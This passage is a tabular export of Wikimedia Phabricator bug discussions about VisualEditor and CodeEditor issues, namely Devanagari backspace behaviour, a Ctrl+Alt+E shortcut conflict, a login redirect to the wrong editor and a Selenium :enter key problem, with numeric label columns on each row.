+238222,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","In that case, it looks like you could follow the example in modules/jquery.codeEditor.js near line 151 to disable this command too.",,,1378324088,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+238214,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","@Brad, depending on how exactly you remapped it, the Ctrl+Alt+E might be mapped to ""ę"" in some lower-level layer, not letting the browser even see it. (I used this a few times to wrestle with some stupid applications which take Ctrl+Alt shortcuts for themselves to take it away from them.)
+
+Some grepping shows ACE Editor uses ""Ctrl-Alt-E"" / ""Command-Option-E"" for the ""togglerecording"" command. This is most likely the culprit.
+
+This seems to be the only Ctrl-Alt shortcut involving regular letters (there are also a few with arrow keys and backspace).",,,1378320708,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,True,,,9,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,1,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,1,1,1,0,1,1,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,0,1,1,1,1,1,1,0
+238207,"Impossible to insert the ""ę"" character when editing in Module: namespace with the code editor","You want CodeEditor.
+
+I note that I can type ę and Ę fine in CodeEditor from here, where the key combinations are ""<Compose> ; e"" and ""<Compose> ; E"".
+
+I also remapped Ctrl+Alt+E to ""ę"" temporarily, and I was able to enter that character using that key combination in CodeEditor on a module page on plwiki with no issues (using Firefox 24 on Linux).",,,1378319184,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-psky7k3cs2jglhz37xhh,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,1,0,0,1,0,1,0,0,1,0,1,0,0,1,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+55754,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,"* This is language/script specific diacritic specific bug split from {T53472}
+
+* For language Marathi Script Devanagari anuswara diacritic is  ं 
+* If one types the anuswara diacritic  ं  after any devanagari script alphabet it is usually place above the concerned alphabet. For example  क is a Marathi/Devanagari alphabet if I type क+ ं I get  कं  
+* If I place cursor before the cluster कं and press delete then whole cluster gets deleted and that is right way to happen, and this behaviour needs to be retained (since if basic alphabet is not there then no need of anuswara diacritic  ं) .
+* Problem: In Visual Editor if I place cursor after the cluster e.g. after कं and press backspace current behaviour is the whole cluster gets deleted. Example कं + Backspace key = results in whole cluster getting deleted.
+* Expected behaviour is: Cluster with anuswara diacritic (कं) + Backspace key = retain rest of cluster(retain क ) and only anuswara diacritic  ं should get deleted.
+* Reason: During spell correction many times we need to retain rest of the cluster and only change the diacritics. For anuswara   ं diacritic spell change is required frequently for various reasons like change in singular-plural tense. Every time retyping the whole cluster is cumbersome. Traditional Source editing behaviour is proper and expected and problem is coming only with VisualEditor behaviour.
+* For example please see this https://mr.wikipedia.org/w/index.php?title=कृष्ण_श्रीनिवास_अर्जुनवाडकर&diff=1198833&oldid=1198826 edit difference a user had to change this diacritic at several places.
+
+Since users would be reluctant to use VE without correct behaviour, I would prefer this being treated as a bug not just enhancement and to have  fair importance level.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1378306620,1449602907.0,PHID-USER-azy72hrp3tpetr52aob6,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-6g646hsi3p3j73jyxxaz,task_description,resolved,True,c1,3,False,False,False,9,,1,0,0,1,1,1,1,0,0,1,1,0,0,1,0,1,0,1,1,0,1,1,1,0,1,0,0,1,0,1,1,1,1,1,0,0,0,0,1,1,1,0,0,1,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,1,0,1,0,0,1
+575077,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,I'm provisionally deeming this fixed. We changed this behaviour significantly since this was filed. Please re-open if you find issues.,,,1449602907,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,True,,,127,,0,0,0,1,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,1,1,1,0,1,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+421344,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,">>! In T55754#549797 in October 2013, @Jdforrester-WMF wrote:
+> we're switching back to native cursoring and backspacing, which hopefully will fix this
+
+@Mahitgar: Do you know if this is still a problem in Devanagari? (I'm afraid I'm missing input method skills to test this myself.)",,,1425552598,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,True,,,87,,0,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,0,1,0,1,0,1,1,1,1,0,1,1,0,1,1,1,1,0,0,1
+237655,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,"Retitled for clarity; we're switching back to native cursoring and backspacing, which hopefully will fix this, but keeping this open and distinct in case not.",,,1381274519,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,True,,,14,,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0
+237650,VisualEditor: Implement script-specific cursoring for Devanagari if native cursoring is insufficient,"Per Bug 51472#c4 , the grapheme cluster handling for backspace is to be on a per script basis. So, this should be treated as the bug for specifically devanagari.
+
+Also note that I am confirming the bug for hindi.
+
+To further clarify the original report, devanagari has various diacritics which can be applied to base unicode characters. It also has a combining character halant (viram) ् (U+094D).
+
+Currently, pressing backspace after a grapheme cluster containing one or more base characters with one or more diacritics and/or combining character deletes the entire grapheme cluster. This is not desired behaviour. Pressing delete before a cluster deletes the entire cluster. This is desired behaviour.
+
+Examples of diacritics: ँ (Chandrabindu) U+0901 ं (Bindu) U+0902 etc.
+
+Examples of grapheme clusters:
+
+One base character with one diacritic: कं ( क + ं ), कँ ( क + ँ ), कः ( क + ः )
+
+One base character with multiple diacritics: किं ( क + ि + ं )
+
+Multiple base characters with halant: श्र ( श + ् + र ), क्ष ( क + ् + ष ), प्र ( प + ् + र )
+
+Multiple base characters with halant followed by diacritics: श्रिं (श + ् + र + ि + ं), क्षि ( क + ् + ष + ि ), प्रे ( प + ् + र + े )
+
+System environment:
+Win7 X64
+Google Chrome 29.0.1547.62 m
+Page used for testing: [[:w:hi:User:Siddhartha Ghai/sandbox]]
+
+Expected behaviour:
+Only one diacritic (the last one in the grapheme), ie one unicode character, is to be deleted. The rest of the grapheme cluster is to stay intact.
+
+Examples used (not exhaustive):
+Grapheme -> Grapheme after pressing backspace
+कं -> क
+कँ -> क
+कः -> क
+क् -> क
+किं -> कि
+श्र -> श्
+क्ष -> क्
+प्र -> प्
+श्रिं -> श्रि
+क्षि -> क्ष
+प्रे -> प्र
+
+Current behaviour (blank indicates entire grapheme cluster was removed) (these results should be verified on other browser/OS combinations):
+कं -> 
+कँ -> 
+कः -> 
+क् -> 
+किं ->
+श्र -> श्  (Working correctly)
+क्ष -> क् (Working correctly)
+प्र -> प् (Working correctly)
+श्रिं -> श् (Deletes र + ि + ं , ie three unicode characters instead of one)
+क्षि -> क् (Deletes ष + ि , ie two unicode characters instead of one)
+प्रे -> प् (Deletes र + े , ie two unicode characters instead of one)
+
+Points to note:
+Some IMEs may provide non-normalized input for characters such as फ़ (U+095E) in place of फ (U+092B) + ़ (U+093C), ढ़ (U+095D) in place of ढ (U+0922) + ़ (U+093C) etc. In such cases, the user may expect that pressing a backspace will only eliminate the diacritic, not the entire grapheme. So, VE may have to handle normalization in such cases.
+
+Results seem to indicate that halant is partially correctly handled. letter + halant + letter + backspace gives letter + halant correctly. But
+letter + halant + backspace, instead of giving the letter, deletes the entire grapheme.
+
+The remaining diacritics as of unicode 3.0 come under Nonspacing mark (Mn) and Spacing combining mark (Mc) (Note: This does not include devanagari extended added in unicode 6.0 and vedic extensions added in unicode 6.1)",,,1378411609,,PHID-USER-4bjsher5mqcoikeqnnec,False,,,PHID-TASK-6g646hsi3p3j73jyxxaz,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,0,0,0,0,1,1,1,0,0,1,0,1,0,1,1,1,1,0,1,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1
+55746,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"en.wp user Professor Hog reports:
+""If you try and use beta to edit a page, but you've forgotten to log in, so you log in directly off the beta page, once you have successfully logged in it takes you back to the edit source page instead of the beta page. Minor, but thought you may want to correct it? ""
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52281",Medium,50.0,1378296540,1455934739.0,PHID-USER-ysftv67jxeaxdwcakvwo,False,PHID-USER-mvx4x7ywk2flsaku2dbk,True,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,0,0,0,0
+614451,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,I think that needs to wait until enwiki has SET.,,,1455934739,,PHID-USER-mvx4x7ywk2flsaku2dbk,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,137,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+614193,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"@Jdforrester-WMF It looks like the [workaround](https://en.wikipedia.org/wiki/MediaWiki:Anoneditwarning) at enwiki (and maybe others, though not that I know of) needs to be removed/altered.
+
+See my previous comment.",,,1455912954,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,137,,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,0,0,0,1
+611303,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,This now works.,,,1455641681,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,137,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+332823,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"Note, Steven added a [custom workaround](https://en.wikipedia.org/w/index.php?title=MediaWiki:Anoneditwarning&diff=572253350&oldid=572253272) at English Wikipedia (shortly after this was filed).  It removes the action=edit, so you don't go to //any// editor on return (otherwise, it can to the wrong one like this bug says).
+
+That was never the desired behavior, though.  The desired behavior is that it knows which editor you're using anonymously, and keeps you on the right editor when you return logged in.  Both VE and wikitext have suitable URL parameters; the issue is knowing which to use.",,,1416894768,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,73,,0,0,0,1,1,1,1,0,1,0,1,1,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,1,1,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,1,0,1,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+237086,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"Changing the depends on to bug 52471 (sorry, I typoed in comment 3)",,,1378315266,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+237084,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"(In reply to comment #3)
+> To clarify the sequence I used to reproduce this was:
+> 1. log out
+> 2. load a page in VE. I tested with [[Symphony No. 8 (Mahler)]] and
+> [[user:Thryduulf/sandbox]]
+> 3. click to edit the page in VE
+> 4. Click the ""log in"" link in the notice that pops up. 
+> This loads
+> https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=User:
+> Thryduulf/sandbox&returntoquery=action%3Dedit
+> in a new tab.
+> 5. In that new tab, log in as normal
+> Get returned to the source editor.
+> 
+> The edit notice shown is that in [[MediaWiki:Anoneditwarning]] where the link
+> is hardcoded to the source editor (pre VE this would never have been an
+> issue).
+> 
+> To me this suggests that either editor-relative urls are needed or we need
+> different edit notices for the classic editor and VE (see bug 52741 for the
+> latter)
+
+Oh, I see, I was clicking on ""login"" in the personal links bar - sorry. Re-titling so I don't get confused again. :-)",,,1378314148,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,0,1,1,0,1,0,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,0,1,1,1,0,1,0,1,1,1,1,1,1,0,0,1
+237079,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"To clarify the sequence I used to reproduce this was:
+1. log out
+2. load a page in VE. I tested with [[Symphony No. 8 (Mahler)]] and [[user:Thryduulf/sandbox]]
+3. click to edit the page in VE
+4. Click the ""log in"" link in the notice that pops up. 
+This loads https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=User:Thryduulf/sandbox&returntoquery=action%3Dedit in a new tab.
+5. In that new tab, log in as normal
+Get returned to the source editor.
+
+The edit notice shown is that in [[MediaWiki:Anoneditwarning]] where the link is hardcoded to the source editor (pre VE this would never have been an issue).
+
+To me this suggests that either editor-relative urls are needed or we need different edit notices for the classic editor and VE (see bug 52741 for the latter)",,,1378313436,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,1,0,1,1,0,0,1,0,1,0,1,1,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,1,0,0,0,1
+237076,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"I'll ask for further clarification, but I've tested this in Firefox 23 on linux.
+
+Clicking the link in the VE popup that notes you're not logged in reproduces this bug. (Note that this loads the login window in a new tab, I logged in there and was returned to the source editor in that window).
+
+Dismissing that popup and then using the log in link at the top right of the page returned me to viewing the page not editing it in either editor.
+
+The results are the same using my Thryduulf account which has a couple of gadgets, and my Awkward42 account which has none.",,,1378312694,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,0,0,1,1,1,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+237074,VisualEditor: [[MediaWiki:Anoneditwarning]] has an editor-specific link rather than taking you to the appropriate one,"I can't reproduce this - I get back to VisualEditor (as expected) - the login link is something like https://en.wikipedia.org/w/index.php?title=Special:UserLogin&returnto=Foobar&returntoquery=veaction%3Dedit
+
+Can ""Professor Hog"" give any further details? What browser were they using? Can they reproduce? What about after a hard-refresh? Do they have any odd gadgets on the account into which they were logging-in?",,,1378310407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ngyf6tjjlwso4rlid7ni,task_subcomment,,True,c1,3,True,,,9,,1,1,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,1,1,0,1,0,0,0
+55721,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**Author:** `rachelqa99`
+
+**Description:**
+shows error message
+
+I got this message when running a test automation script, that puts in a line of code and tries to save it. It doesn't recognize the new line of code I put in, so it gives this error message upon save. Not sure if you are aware of this particular scenario, which is why I am submitting it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+
+**Attached**: {F11191}",Medium,50.0,1378241340,1449024014.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ydswvwhh5pm4lshahjje,True,PHID-TASK-y44xrgvhzk7uy25krg2j,task_description,resolved,True,c1,3,False,False,False,9,,0,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,0,0,0,1,1,1,1,0,0,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+571173,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,I'm going to provisionally mark this as fixed as it appears to now work.,,,1449024014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,True,,,126,,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+556430,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"Is this still a problem, or can the task be resolved?",,,1446479363,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,True,,,122,,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0
+235538,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"A clarification about each case we tried in the automated test: 
+
+* type a string and the string is shown correctly in CE and DM
+* type a string and :return and both the string and the empty line are shown correctly in CE and DM
+
+* but type a string and :enter and CE correctly shows *both* the string *and* the empty line but DM shows *neither* the string nor the empty line.  That is, the :enter command is recognized in CE but seems to have the effect of making all the changes in CE invisible to DM.",,,1378312673,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+235536,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"
+I think this might be a real bug, but I think it might take some particular piece of hardware to trigger it. 
+
+WebDriver/Selenium has two ways of sending a newline to the browser
+
+:enter
+:return
+
+"":return"" is intended to emulate the ""Return"" key on a normal keyboard; "":enter"" is intended to emulate the ""Enter"" key on a numeric keypad.
+
+In this test, when we type a string plus :return in VE, the diff view is correct, and the test would pass.  But when the test sends a string plus :enter in VE, VE does not recognize that the contents of the edit page has changed. 
+
+I tried to reproduce this issue manually using a Macintosh USB keyboard on a Macbook Pro laptop but both the Return key and Enter key on that particular piece of hardware worked correctly with VE. 
+
+I suggest trying out Return (on the keyboard) and Enter (on the numeric keypad) on a few keyboards to make sure we don't see this in the wild.",,,1378309500,,PHID-USER-kqibbfgfpgocyzwe32lv,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,1,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+235531,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:
+
+I am adding the line of text  This is a test  at the beginning of the page into the Selenium user's homepage on test2.  There is a bunch of already existing text below it, I am just trying to add a new line at the begining of the page, ""This is a test"" and hit Return key for a new line.  I can't seem to reproduce it manually.",,,1378302946,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,1,1,1,0,0,0,0,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,0,0,0
+235526,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"(In reply to comment #0)
+> Created attachment 13227 [details]
+> shows error message
+> 
+> I got this message when running a test automation script,
+
+Yes, this is the normal (you tried to get the diff but as far as we're concerned, no changes were made to the page).
+
+> that puts in a line of code and tries to save it. It doesn't recognize the new
+> line of code I put in, so it gives this error message upon save.
+
+What ""line of code"" does it insert? Where does it insert it? On what page? On what wiki? Can you reproduce manually or does this only happen with the script?
+
+(In reply to comment #3)
+> Possibly a situation caused by bug 53360 which is marked as resolved.
+
+The fix for bug 53360 is running on test2 right now, so almost certainly not related to that bug.
+
+**Attached**: {F11191}",,,1378246805,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,True,,,9,,0,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,0,0,1,1,1,1,1,0,0,1,1,1,0,1,1,0,0,0,0,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+235520,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:
+
+Possibly a situation caused by bug 53360 which is marked as resolved.",,,1378242207,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,0,0,0,0,0
+235516,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:
+
+this is running off of test2",,,1378241594,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+235508,VisualEditor: Inserting some content in a QA script doesn't round-trip (null diff) - failure to inserting CE content into DM somehow?,"**rachelqa99** wrote:
+
+feature script
+
+**Attached**: {F11192}",,,1378241543,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-y44xrgvhzk7uy25krg2j,task_subcomment,,True,c1,3,False,,,9,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+55717,"VisualEditor: jquery.IME doesn't work in VisualEditor's iframes (template, reference, reference list, media, and page settings dialogs, and language, maths, code and link inspectors)","The ULS input methods (jquery.ime) currently do not work with the popup windows of VE. These include the template, reference, reflist, image, link and page settings popups.
+
+The problem has been tested by me on Win7 X64 with Google Chrome 29.0.1547.62 m and possibly by others on other browsers. The problem was originally reported on [1] by mr-wp users.
+
+[1]: https://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#VE_.2B_ULS_unicode_Devnagari_Script_input_issues
+
+--------------------------
